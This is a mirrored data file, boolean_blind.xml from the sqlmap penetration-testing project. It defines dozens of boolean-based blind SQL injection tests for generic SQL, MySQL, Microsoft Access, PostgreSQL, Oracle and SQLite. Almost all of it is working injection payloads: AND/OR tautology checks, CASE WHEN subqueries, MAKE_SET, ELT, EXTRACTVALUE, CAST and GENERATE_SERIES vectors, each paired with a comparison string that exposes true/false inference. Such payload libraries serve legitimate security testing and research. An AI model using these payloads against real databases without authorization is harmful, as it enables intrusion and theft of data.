CoCalc -- boolean

GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/data/xml/payloads/boolean_blind.xml
²⁹⁹² views
1
<?xml version="1.0" encoding="UTF-8"?>
2

3
<!--
4
Tag: <test>
5
    SQL injection test definition.
6

7
    Sub-tag: <title>
8
        Title of the test.
9

10
    Sub-tag: <stype>
11
        SQL injection family type.
12

13
        Valid values:
14
            1: Boolean-based blind SQL injection
15
            2: Error-based queries SQL injection
16
            3: Inline queries SQL injection
17
            4: Stacked queries SQL injection
18
            5: Time-based blind SQL injection
19
            6: UNION query SQL injection
20

21
    Sub-tag: <level>
22
        From which level check for this test.
23

24
        Valid values:
25
            1: Always (<100 requests)
26
            2: Try a bit harder (100-200 requests)
27
            3: Good number of requests (200-500 requests)
28
            4: Extensive test (500-1000 requests)
29
            5: You have plenty of time (>1000 requests)
30

31
    Sub-tag: <risk>
32
        Likelihood of a payload to damage the data integrity.
33

34
        Valid values:
35
            1: Low risk
36
            2: Medium risk
37
            3: High risk
38

39
    Sub-tag: <clause>
40
        In which clause the payload can work.
41

42
        NOTE: for instance, there are some payload that do not have to be
43
        tested as soon as it has been identified whether or not the
44
        injection is within a WHERE clause condition.
45

46
        Valid values:
47
            0: Always
48
            1: WHERE / HAVING
49
            2: GROUP BY
50
            3: ORDER BY
51
            4: LIMIT
52
            5: OFFSET
53
            6: TOP
54
            7: Table name
55
            8: Column name
56
            9: Pre-WHERE (non-query)
57

58
        A comma separated list of these values is also possible.
59

60
    Sub-tag: <where>
61
        Where to add our '<prefix> <payload><comment> <suffix>' string.
62

63
        Valid values:
64
            1: Append the string to the parameter original value
65
            2: Replace the parameter original value with a negative random
66
               integer value and append our string
67
            3: Replace the parameter original value with our string
68

69
    Sub-tag: <vector>
70
        The payload that will be used to exploit the injection point.
71

72
    Sub-tag: <request>
73
        What to inject for this test.
74

75
        Sub-tag: <payload>
76
            The payload to test for.
77

78
        Sub-tag: <comment>
79
            Comment to append to the payload, before the suffix.
80

81
        Sub-tag: <char>
82
            Character to use to bruteforce number of columns in UNION
83
            query SQL injection tests.
84

85
        Sub-tag: <columns>
86
            Range of columns to test for in UNION query SQL injection
87
            tests.
88

89
    Sub-tag: <response>
90
        How to identify if the injected payload succeeded.
91

92
        Sub-tag: <comparison>
93
            Perform a request with this string as the payload and compare
94
            the response with the <payload> response. Apply the comparison
95
            algorithm.
96

97
            NOTE: useful to test for boolean-based blind SQL injections.
98

99
        Sub-tag: <grep>
100
            Regular expression to grep for in the response body.
101

102
            NOTE: useful to test for error-based SQL injection.
103

104
        Sub-tag: <time>
105
            Time in seconds to wait before the response is returned.
106

107
            NOTE: useful to test for time-based blind and stacked queries
108
            SQL injections.
109

110
        Sub-tag: <union>
111
            Calls unionTest() function.
112

113
            NOTE: useful to test for UNION query (inband) SQL injection.
114

115
    Sub-tag: <details>
116
        Which details can be infered if the payload succeed.
117

118
        Sub-tags: <dbms>
119
            What is the database management system (e.g. MySQL).
120

121
        Sub-tags: <dbms_version>
122
            What is the database management system version (e.g. 5.0.51).
123

124
        Sub-tags: <os>
125
            What is the database management system underlying operating
126
            system.
127

128
    <test>
129
        <title></title>
130
        <stype></stype>
131
        <level></level>
132
        <risk></risk>
133
        <clause></clause>
134
        <where></where>
135
        <vector></vector>
136
        <request>
137
            <payload></payload>
138
            <comment></comment>
139
            <char></char>
140
            <columns></columns>
141
        </request>
142
        <response>
143
            <comparison></comparison>
144
            <grep></grep>
145
            <time></time>
146
            <union></union>
147
        </response>
148
        <details>
149
            <dbms></dbms>
150
            <dbms_version></dbms_version>
151
            <os></os>
152
        </details>
153
    </test>
154
-->
155

156
<root>
157
    <!-- Boolean-based blind tests - WHERE/HAVING clause -->
158
    <test>
159
        <title>AND boolean-based blind - WHERE or HAVING clause</title>
160
        <stype>1</stype>
161
        <level>1</level>
162
        <risk>1</risk>
163
        <clause>1,8,9</clause>
164
        <where>1</where>
165
        <vector>AND [INFERENCE]</vector>
166
        <request>
167
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
168
        </request>
169
        <response>
170
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
171
        </response>
172
    </test>
173

174
    <test>
175
        <title>OR boolean-based blind - WHERE or HAVING clause</title>
176
        <stype>1</stype>
177
        <level>1</level>
178
        <risk>3</risk>
179
        <clause>1,9</clause>
180
        <where>2</where>
181
        <vector>OR [INFERENCE]</vector>
182
        <request>
183
            <payload>OR [RANDNUM]=[RANDNUM]</payload>
184
        </request>
185
        <response>
186
            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
187
        </response>
188
    </test>
189

190
    <test>
191
        <title>OR boolean-based blind - WHERE or HAVING clause (NOT)</title>
192
        <stype>1</stype>
193
        <level>3</level>
194
        <risk>3</risk>
195
        <clause>1,9</clause>
196
        <where>1</where>
197
        <vector>OR NOT [INFERENCE]</vector>
198
        <request>
199
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
200
        </request>
201
        <response>
202
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
203
        </response>
204
    </test>
205

206
    <test>
207
        <title>AND boolean-based blind - WHERE or HAVING clause (subquery - comment)</title>
208
        <stype>1</stype>
209
        <level>2</level>
210
        <risk>1</risk>
211
        <clause>1,8,9</clause>
212
        <where>1</where>
213
        <vector>AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
214
        <request>
215
            <payload>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
216
            <comment>[GENERIC_SQL_COMMENT]</comment>
217
        </request>
218
        <response>
219
            <comparison>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
220
        </response>
221
    </test>
222

223
    <test>
224
        <title>OR boolean-based blind - WHERE or HAVING clause (subquery - comment)</title>
225
        <stype>1</stype>
226
        <level>2</level>
227
        <risk>3</risk>
228
        <clause>1,9</clause>
229
        <where>2</where>
230
        <vector>OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
231
        <request>
232
            <payload>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
233
            <comment>[GENERIC_SQL_COMMENT]</comment>
234
        </request>
235
        <response>
236
            <comparison>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
237
        </response>
238
    </test>
239

240
    <test>
241
        <title>AND boolean-based blind - WHERE or HAVING clause (comment)</title>
242
        <stype>1</stype>
243
        <level>2</level>
244
        <risk>1</risk>
245
        <clause>1</clause>
246
        <where>1</where>
247
        <vector>AND [INFERENCE]</vector>
248
        <request>
249
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
250
            <comment>[GENERIC_SQL_COMMENT]</comment>
251
        </request>
252
        <response>
253
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
254
        </response>
255
    </test>
256

257
    <test>
258
        <title>OR boolean-based blind - WHERE or HAVING clause (comment)</title>
259
        <stype>1</stype>
260
        <level>2</level>
261
        <risk>3</risk>
262
        <clause>1</clause>
263
        <where>2</where>
264
        <vector>OR [INFERENCE]</vector>
265
        <request>
266
            <payload>OR [RANDNUM]=[RANDNUM]</payload>
267
            <comment>[GENERIC_SQL_COMMENT]</comment>
268
        </request>
269
        <response>
270
            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
271
        </response>
272
    </test>
273

274
    <test>
275
        <title>OR boolean-based blind - WHERE or HAVING clause (NOT - comment)</title>
276
        <stype>1</stype>
277
        <level>4</level>
278
        <risk>3</risk>
279
        <clause>1</clause>
280
        <where>1</where>
281
        <vector>OR NOT [INFERENCE]</vector>
282
        <request>
283
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
284
            <comment>[GENERIC_SQL_COMMENT]</comment>
285
        </request>
286
        <response>
287
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
288
        </response>
289
    </test>
290

291
    <test>
292
        <title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
293
        <stype>1</stype>
294
        <level>3</level>
295
        <risk>1</risk>
296
        <clause>1</clause>
297
        <where>1</where>
298
        <vector>AND [INFERENCE]</vector>
299
        <request>
300
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
301
            <comment>#</comment>
302
        </request>
303
        <response>
304
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
305
        </response>
306
        <details>
307
            <dbms>MySQL</dbms>
308
        </details>
309
    </test>
310

311
    <test>
312
        <title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
313
        <stype>1</stype>
314
        <level>3</level>
315
        <risk>3</risk>
316
        <clause>1</clause>
317
        <where>2</where>
318
        <vector>OR [INFERENCE]</vector>
319
        <request>
320
            <payload>OR [RANDNUM]=[RANDNUM]</payload>
321
            <comment>#</comment>
322
        </request>
323
        <response>
324
            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
325
        </response>
326
        <details>
327
            <dbms>MySQL</dbms>
328
        </details>
329
    </test>
330

331
    <test>
332
        <title>OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)</title>
333
        <stype>1</stype>
334
        <level>3</level>
335
        <risk>3</risk>
336
        <clause>1</clause>
337
        <where>1</where>
338
        <vector>OR NOT [INFERENCE]</vector>
339
        <request>
340
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
341
            <comment>#</comment>
342
        </request>
343
        <response>
344
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
345
        </response>
346
        <details>
347
            <dbms>MySQL</dbms>
348
        </details>
349
    </test>
350

351
    <test>
352
        <title>AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>
353
        <stype>1</stype>
354
        <level>3</level>
355
        <risk>1</risk>
356
        <clause>1</clause>
357
        <where>1</where>
358
        <vector>AND [INFERENCE]</vector>
359
        <request>
360
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
361
            <comment>%16</comment>
362
        </request>
363
        <response>
364
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
365
        </response>
366
        <details>
367
            <dbms>Microsoft Access</dbms>
368
        </details>
369
    </test>
370

371
    <test>
372
        <title>OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>
373
        <stype>1</stype>
374
        <level>3</level>
375
        <risk>3</risk>
376
        <clause>1</clause>
377
        <where>2</where>
378
        <vector>OR [INFERENCE]</vector>
379
        <request>
380
            <payload>OR [RANDNUM]=[RANDNUM]</payload>
381
            <comment>%16</comment>
382
        </request>
383
        <response>
384
            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
385
        </response>
386
        <details>
387
            <dbms>Microsoft Access</dbms>
388
        </details>
389
    </test>
390

391
    <test>
392
        <title>MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
393
        <stype>1</stype>
394
        <level>2</level>
395
        <risk>1</risk>
396
        <clause>1,2,3</clause>
397
        <where>1</where>
398
        <vector>RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))</vector>
399
        <request>
400
            <payload>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))</payload>
401
        </request>
402
        <response>
403
            <comparison>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))</comparison>
404
        </response>
405
        <details>
406
            <dbms>MySQL</dbms>
407
        </details>
408
    </test>
409

410
    <test>
411
        <title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>
412
        <stype>1</stype>
413
        <level>3</level>
414
        <risk>1</risk>
415
        <clause>1,2,3,8</clause>
416
        <where>1</where>
417
        <vector>AND MAKE_SET([INFERENCE],[RANDNUM])</vector>
418
        <request>
419
            <payload>AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
420
        </request>
421
        <response>
422
            <comparison>AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
423
        </response>
424
        <details>
425
            <dbms>MySQL</dbms>
426
        </details>
427
    </test>
428

429
    <test>
430
        <title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>
431
        <stype>1</stype>
432
        <level>3</level>
433
        <risk>3</risk>
434
        <clause>1,2,3</clause>
435
        <where>2</where>
436
        <vector>OR MAKE_SET([INFERENCE],[RANDNUM])</vector>
437
        <request>
438
            <payload>OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
439
        </request>
440
        <response>
441
            <comparison>OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
442
        </response>
443
        <details>
444
            <dbms>MySQL</dbms>
445
        </details>
446
    </test>
447

448
    <test>
449
        <title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>
450
        <stype>1</stype>
451
        <level>4</level>
452
        <risk>1</risk>
453
        <clause>1,2,3,8</clause>
454
        <where>1</where>
455
        <vector>AND ELT([INFERENCE],[RANDNUM])</vector>
456
        <request>
457
            <payload>AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
458
        </request>
459
        <response>
460
            <comparison>AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
461
        </response>
462
        <details>
463
            <dbms>MySQL</dbms>
464
        </details>
465
    </test>
466

467
    <test>
468
        <title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>
469
        <stype>1</stype>
470
        <level>4</level>
471
        <risk>3</risk>
472
        <clause>1,2,3</clause>
473
        <where>2</where>
474
        <vector>OR ELT([INFERENCE],[RANDNUM])</vector>
475
        <request>
476
            <payload>OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
477
        </request>
478
        <response>
479
            <comparison>OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
480
        </response>
481
        <details>
482
            <dbms>MySQL</dbms>
483
        </details>
484
    </test>
485

486
    <test>
487
        <title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
488
        <stype>1</stype>
489
        <level>5</level>
490
        <risk>1</risk>
491
        <clause>1,2,3,8</clause>
492
        <where>1</where>
493
        <vector>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
494
        <request>
495
            <payload>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
496
        </request>
497
        <response>
498
            <comparison>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
499
        </response>
500
        <details>
501
            <dbms>MySQL</dbms>
502
        </details>
503
    </test>
504

505
    <test>
506
        <title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
507
        <stype>1</stype>
508
        <level>5</level>
509
        <risk>3</risk>
510
        <clause>1,2,3,8</clause>
511
        <where>2</where>
512
        <vector>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
513
        <request>
514
            <payload>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
515
        </request>
516
        <response>
517
            <comparison>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
518
        </response>
519
        <details>
520
            <dbms>MySQL</dbms>
521
        </details>
522
    </test>
523

524
    <test>
525
        <title>PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)</title>
526
        <stype>1</stype>
527
        <level>2</level>
528
        <risk>1</risk>
529
        <clause>1,8</clause>
530
        <where>1</where>
531
        <vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
532
        <request>
533
            <payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
534
        </request>
535
        <response>
536
            <comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
537
        </response>
538
        <details>
539
            <dbms>PostgreSQL</dbms>
540
        </details>
541
    </test>
542

543
    <test>
544
        <title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
545
        <stype>1</stype>
546
        <level>3</level>
547
        <risk>3</risk>
548
        <clause>1</clause>
549
        <where>2</where>
550
        <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
551
        <request>
552
            <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
553
        </request>
554
        <response>
555
            <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
556
        </response>
557
        <details>
558
            <dbms>PostgreSQL</dbms>
559
        </details>
560
    </test>
561

562
    <test>
563
        <title>Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
564
        <stype>1</stype>
565
        <level>2</level>
566
        <risk>1</risk>
567
        <clause>1</clause>
568
        <where>1</where>
569
        <vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
570
        <request>
571
            <payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
572
        </request>
573
        <response>
574
            <comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
575
        </response>
576
        <details>
577
            <dbms>Oracle</dbms>
578
        </details>
579
    </test>
580

581
    <test>
582
        <title>Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
583
        <stype>1</stype>
584
        <level>3</level>
585
        <risk>3</risk>
586
        <clause>1</clause>
587
        <where>2</where>
588
        <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
589
        <request>
590
            <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
591
        </request>
592
        <response>
593
            <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
594
        </response>
595
        <details>
596
            <dbms>Oracle</dbms>
597
        </details>
598
    </test>
599

600
    <test>
601
        <title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
602
        <stype>1</stype>
603
        <level>2</level>
604
        <risk>1</risk>
605
        <clause>1</clause>
606
        <where>1</where>
607
        <vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
608
        <request>
609
            <payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
610
        </request>
611
        <response>
612
            <comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
613
        </response>
614
        <details>
615
            <dbms>SQLite</dbms>
616
        </details>
617
    </test>
618

619
    <test>
620
        <title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
621
        <stype>1</stype>
622
        <level>3</level>
623
        <risk>3</risk>
624
        <clause>1</clause>
625
        <where>2</where>
626
        <vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
627
        <request>
628
            <payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
629
        </request>
630
        <response>
631
            <comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
632
        </response>
633
        <details>
634
            <dbms>SQLite</dbms>
635
        </details>
636
    </test>
637

638
    <!-- End of boolean-based blind tests - WHERE or HAVING clause -->
639

640
    <!-- Boolean-based blind tests - Parameter replace -->
641
    <test>
642
        <title>Boolean-based blind - Parameter replace (original value)</title>
643
        <stype>1</stype>
644
        <level>1</level>
645
        <risk>1</risk>
646
        <clause>1,2,3</clause>
647
        <where>3</where>
648
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
649
        <request>
650
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
651
        </request>
652
        <response>
653
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
654
        </response>
655
    </test>
656

657
    <test>
658
        <title>MySQL boolean-based blind - Parameter replace (MAKE_SET)</title>
659
        <stype>1</stype>
660
        <level>4</level>
661
        <risk>1</risk>
662
        <clause>1,2,3</clause>
663
        <where>3</where>
664
        <vector>MAKE_SET([INFERENCE],[RANDNUM])</vector>
665
        <request>
666
            <payload>MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
667
        </request>
668
        <response>
669
            <comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
670
        </response>
671
        <details>
672
            <dbms>MySQL</dbms>
673
        </details>
674
    </test>
675

676
    <test>
677
        <title>MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)</title>
678
        <stype>1</stype>
679
        <level>5</level>
680
        <risk>1</risk>
681
        <clause>1,2,3</clause>
682
        <where>3</where>
683
        <vector>MAKE_SET([INFERENCE],[ORIGVALUE])</vector>
684
        <request>
685
            <payload>MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
686
        </request>
687
        <response>
688
            <comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
689
        </response>
690
        <details>
691
            <dbms>MySQL</dbms>
692
        </details>
693
    </test>
694

695
    <test>
696
        <title>MySQL boolean-based blind - Parameter replace (ELT)</title>
697
        <stype>1</stype>
698
        <level>4</level>
699
        <risk>1</risk>
700
        <clause>1,2,3</clause>
701
        <where>3</where>
702
        <vector>ELT([INFERENCE],[RANDNUM])</vector>
703
        <request>
704
            <payload>ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
705
        </request>
706
        <response>
707
            <comparison>ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
708
        </response>
709
        <details>
710
            <dbms>MySQL</dbms>
711
        </details>
712
    </test>
713

714
    <test>
715
        <title>MySQL boolean-based blind - Parameter replace (ELT - original value)</title>
716
        <stype>1</stype>
717
        <level>5</level>
718
        <risk>1</risk>
719
        <clause>1,2,3</clause>
720
        <where>3</where>
721
        <vector>ELT([INFERENCE],[ORIGVALUE])</vector>
722
        <request>
723
            <payload>ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
724
        </request>
725
        <response>
726
            <comparison>ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
727
        </response>
728
        <details>
729
            <dbms>MySQL</dbms>
730
        </details>
731
    </test>
732

733
    <test>
734
        <title>MySQL boolean-based blind - Parameter replace (bool*int)</title>
735
        <stype>1</stype>
736
        <level>4</level>
737
        <risk>1</risk>
738
        <clause>1,2,3</clause>
739
        <where>3</where>
740
        <vector>([INFERENCE])*[RANDNUM]</vector>
741
        <request>
742
            <payload>([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
743
        </request>
744
        <response>
745
            <comparison>([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
746
        </response>
747
        <details>
748
            <dbms>MySQL</dbms>
749
        </details>
750
    </test>
751

752
    <test>
753
        <title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>
754
        <stype>1</stype>
755
        <level>5</level>
756
        <risk>1</risk>
757
        <clause>1,2,3</clause>
758
        <where>3</where>
759
        <vector>([INFERENCE])*[ORIGVALUE]</vector>
760
        <request>
761
            <payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>
762
        </request>
763
        <response>
764
            <comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>
765
        </response>
766
        <details>
767
            <dbms>MySQL</dbms>
768
        </details>
769
    </test>
770

771
    <test>
772
        <title>PostgreSQL boolean-based blind - Parameter replace</title>
773
        <stype>1</stype>
774
        <level>3</level>
775
        <risk>1</risk>
776
        <clause>1,2,3</clause>
777
        <where>3</where>
778
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</vector>
779
        <request>
780
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</payload>
781
        </request>
782
        <response>
783
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</comparison>
784
        </response>
785
        <details>
786
            <dbms>PostgreSQL</dbms>
787
        </details>
788
    </test>
789

790
    <test>
791
        <title>PostgreSQL boolean-based blind - Parameter replace (original value)</title>
792
        <stype>1</stype>
793
        <level>4</level>
794
        <risk>1</risk>
795
        <clause>1,2,3</clause>
796
        <where>3</where>
797
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
798
        <request>
799
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
800
        </request>
801
        <response>
802
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
803
        </response>
804
        <details>
805
            <dbms>PostgreSQL</dbms>
806
        </details>
807
    </test>
808

809
    <!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
810
    <test>
811
        <title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)</title>
812
        <stype>1</stype>
813
        <level>5</level>
814
        <risk>1</risk>
815
        <clause>1,2,3</clause>
816
        <where>3</where>
817
        <vector>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
818
        <request>
819
            <payload>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
820
        </request>
821
        <response>
822
            <comparison>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
823
        </response>
824
        <details>
825
            <dbms>PostgreSQL</dbms>
826
        </details>
827
    </test>
828

829
    <!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
830
    <test>
831
        <title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>
832
        <stype>1</stype>
833
        <level>5</level>
834
        <risk>1</risk>
835
        <clause>1,2,3</clause>
836
        <where>3</where>
837
        <vector>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
838
        <request>
839
            <payload>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
840
        </request>
841
        <response>
842
            <comparison>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
843
        </response>
844
        <details>
845
            <dbms>PostgreSQL</dbms>
846
        </details>
847
    </test>
848
